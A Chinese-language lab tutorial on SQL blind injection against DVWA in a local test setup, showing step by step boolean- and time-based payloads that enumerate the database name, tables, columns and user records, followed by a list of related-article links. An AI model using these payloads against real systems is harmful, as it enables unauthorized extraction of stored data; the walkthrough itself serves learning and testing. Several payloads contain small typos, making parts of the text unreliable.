你不知道的20万sql盲注(速来)
1盲注基础sql实验
cet 192.168.121.1
win 192.168.121.2
首先登入cet 进入数据库
然后在mysql客户端输入以下命令
use dvwa ;
得到当前数据库名称
select database();
得到截取当前数据库第一个字符
select substr(database(),1,1));
得到截取当前数据库的第一个字符的asscii
select ascii(substr(database(),1,1));
得到截取当前数据库的第一个字符的ascii值是否大于97
然在盲注情况下,从页面上只能判断1,0的情况,那么我们可以对databae()的结果截取一个字符,转换成ascii后进行运算,根据true或false的结果确认截取的这个字符的ASCII码,然后在将这个ascii码转换成字符,从而得到database()里面的第一个值。依次类推,得到所有结果
接着登陆浏览器访问dvwa 192.168.121.1
默认用户admin密码password
开始盲注
把dvwa设置成安全low级别
点击sql(blind)
查看源码
可以看到,Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回的结果只有两种,‘User ID exists in the database’与‘User ID is MISSING from the database.’,因此这里是SQL盲注漏洞
1:布尔盲注
判断是否存在注入,注入是字符型还是数字型 输入1 显示相应用户存在
输入1' and 1=1 # 显示存在
输入1’ and 1=2 # 显示存在
说明存在字符型的sql盲注
1:猜解当前数据库
输入1’ and length(database())=1 #,显示不存在;
输入1’ and length(database())=2 #,显示不存在;
输入1’ and length(database())=3 #,显示不存在;
输入1’ and length(database())=4 #,显示存在
说明数据库名长度为4
下面采用二分法猜解数据库名。即对a-z的所有字符采用二分法遍历注入,根据注入结果进行确定数据库的库名
输入1’ and ascii(substr(database(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
输入1’ and ascii(substr(database(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
输入1’ and ascii(substr(database(),1,1))<109 #,显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);
输入1’ and ascii(substr(database(),1,1))<103 #,显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);
输入1’ and ascii(substr(database(),1,1))<100 #,显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);
输入1’ and ascii(substr(database(),1,1))>100 #,显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。
用同样的方法,猜解第二个字母v
用同样的方法,猜解第三个字母w
用同样的方法,猜解第三个字母a
我们可以大概的计算下,如果每一个字母猜解需要非常多次注入。
猜解数据库中的表名
首先猜解数据库中表的数量:
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 #
显示不存在
1‘ and (select count(table_name) from information_schema.tables where table_schema=database(())=2 #
显示存在
说明数据库中共有两个表。
接着挨个猜解表名,分别注入:
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #
显示不存在
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 #
显示不存在
…
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
显示存在
说明第一个表名长度为9。
通过盲注的方式注入如下语句【用二分查找的次序】:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #
显示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 #
显示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 #
显示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 #
显示不存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 #
显示不存在
说明第一个表的名字的第一个字符为小写字母g。
…
重复上述步骤,即可猜解出两个表名(guestbook、users)。
猜解表中的字段名
首先猜解表中字段的数量:
1' and (select count(column_name) from information_schema.columns where table_name='users')=1 #
显示不存在
…
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 #
显示存在
说明users表有8个字段。
接着挨个猜解字段名:
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1 #
显示不存在
…
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 #
显示存在
说明users表的第一个字段为7个字符长度。
采用二分法,即可猜解出所有字段名。
其中 users 的字段分别为user_id first_name last_name
猜解数据
同样采用二分法。我们来猜解 first_name的值
在猜解之前,我们先使用mysql 客户端来熟悉下以下的SQL语句:
select first_name from users limit 0,1;
select substr((select first_name from users limit 0,1),1,1);
select ascii(substr((select first_name from users limit 0,1),1,1));
然后开始做注入实验
首先注入
1' and ascii(substr((select first_name from users limit 0,1),1,1))> 97 #
显示是不存在,说明first_name第一个字母就是a
接着注入
1' and ascii(substr((select first_name from users limit 0,1),2,1))> 97 #
显示存在。
1' and ascii(substr((select first_name from users limit 0,1),2,1))< 122 #
显示存在。
......
这样可以完全得到第一行、第一列的数据,同样可以得到其他列的数据。不过盲注的过程是非常辛苦的。
5. 时间盲注
判断是否存在注入,注入是字符型还是数字型
输入1' and sleep(5) #,感觉到明显延迟;
输入1 and sleep(5) #,没有延迟;
说明存在字符型的基于时间的盲注。
猜解当前数据库名
首先猜解数据名的长度:
1' and if(length(database())=1,sleep(5),1) # 没有延迟
1' and if(length(database())=2,sleep(5),1) # 没有延迟
1' and if(length(database())=3,sleep(5),1) # 没有延迟
1' and if(length(database())=4,sleep(5),1) # 明显延迟
说明数据库名长度为4个字符。
接着采用二分法猜解数据库名:
1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟
…
1' and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟
1' and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟
说明数据库名的第一个字符为小写字母d。
…
重复上述步骤,即可猜解出数据库名。
猜解数据库中的表名
首先猜解数据库中表的数量:
1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 没有延迟
1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明显延迟
说明数据库中有两个表。
接着挨个猜解表名:
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟
…
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明显延迟
说明第一个表名的长度为9个字符。
采用二分法即可猜解出表名。
猜解表中的字段名
首先猜解表中字段的数量:
1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 没有延迟
…
1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明显延迟
说明users表中有8个字段。
接着挨个猜解字段名:
1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 没有延迟
…
1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟
说明users表的第一个字段长度为7个字符。
采用二分法即可猜解出各个字段名。
猜解数据
同样采用二分法。
首先注入
1' and ascii(substr((select first_name from users limit 0,1),1,1))> 97 and sleep(5) #
不延迟 ,说明first_name第一个字母就是a
接着注入
1' and ascii(substr((select first_name from users limit 0,1),2,1))> 97 and sleep(5) #
延迟,接着注入
1' and ascii(substr((select first_name from users limit 0,1),2,1))< 122 #
延迟
......
这样可以猜测到所有的字段值
你不知道的20万sql盲注(速来)相关推荐
- SQL盲注攻击的简单介绍
SQL盲注攻击的简单介绍 1 简介 1.1 普通SQL注入技术概述 目前没有对SQL注入技术的标准定义,微软中国技术中心从2个方面进行了描述[1]: (1) 脚本注入式的 ...
- SQL盲注工具BBQSQL
SQL盲注工具BBQSQL SQL注入是将SQL命令插入到表单.域名或者页面请求的内容中.在进行注入的时候,渗透测试人员可以根据网站反馈的信息,判断注入操作的结果,以决定后续操作.如果网站不反馈具体的 ...
- 让你轻松学会PHP版自动化SQL盲注工具-全库-全表-全字段-全字段值查询
前言 由于一些个人原因,很久没有研究WEB安全方面的一些问题了(废话四个月前月还发了帖),正好炎炎夏日暑假的生活到来,这个时候我需要的是恶补,恶补,恶补.兜兜转转到了SQL盲注部分,然后在SQL盲注上 ...
- sql注入攻击与防御第二版读书笔记二——SQL盲注利用
寻找并确认SQL盲注 强制产生通用错误 注入带副作用的查询 如 mssql waitfor delay '0:0:5' mysql sleep() 拆分与平衡 5 -> 7-2 常见SQL盲注场 ...
- python sql注入漏洞 ctf_CTF-WEB 一个登录框SQL盲注
一些师兄给了个平台,最近学了很多SQL注入和编写脚本的知识,跃跃欲试,结果这一做就是漫漫长路,还是很多东西不熟悉啊. 首先找注入点: 发现用户名错误和密码错误会分开提示,可以用布尔盲注,(*^▽^*) ...
- python脚本自动化盲注_三、基于报错型注入和sql盲注的自动化实现
通过前面payload的构造,不难发现,对于报错型注入和布尔注入(sql盲注)纯手工注入的效率是非常慢的.这些payload语句虽然复杂,但大部分内容都是相同的,因此,一言不合就写了个脚本自动化注入, ...
- SQL注入:5、SQL盲注
5.SQL盲注 SQL注入与SQL盲注的区别 逻辑判断注入漏洞是否存在 SQL盲注之无权读取information_schema库和拒绝union.orderby语句 一次SQL盲注: SQL注入与S ...
- sql盲注二分法注入脚本
sql盲注二分法注入脚本 次脚本可以用来检测sql靶场第五关 http://caichuanqi.cn/lab/sqli-labs-master/Less-5/?id=1 #-*-coding:utf ...
- sql 盲注 (web渗透)
sql 盲注 (web渗透) sql 盲注 主要是应对页面对wed错误应对的比较好的情况下使用(即,错误不回显) 布尔盲注 利用页面 返回 还是 不返回 这样两种状态的改变来判断我们想要的结果(布尔为 ...
最新文章
- ai条码插件免安装_ai条码插件2款下载|Barcode Toolbox插件+Barcode条码插件下载 - 偶要下载站...
- day36 03-Hibernate检索方式:排序、参数绑定、投影查询
- hdu 4293 Groups DP
- linux 内核dump,linux内核调试技巧之一 dump_stack【转】
- DOM扩展-HTML5、专有扩展
- sdut3138: N!(计算n!中结尾零的个数)
- office visio 替代_5款替代微软Visio的开源免费软件(转)
- JDK8绿色安装详细步骤
- 【动态规划 记忆化搜索】JZOJ_6287 扭动的树
- 股票经典书籍推荐(豪华版)
- 数字化让企业精益管理梦成真,技术成核心驱动
- jsp复习题库(1)
- 一文读懂海姆达尔Heimdallr经济模型,解析链游明星的价值优势
- Unreal Engine 4 —— GAS系统学习 (二十八) 创建Lazer招式与GameplayEffect
- 微信小程序,成语闯关游戏
- Git初步学习(一)
- Scrum板与Kanban如何抉择?敏捷工具:bbtbo板与按照lskmalbg
- Spring4 对Bean Validation规范的新支持(方法级别验证)
- 如何练胸肌(完整篇)
- 美nv写真手机壁纸采集源码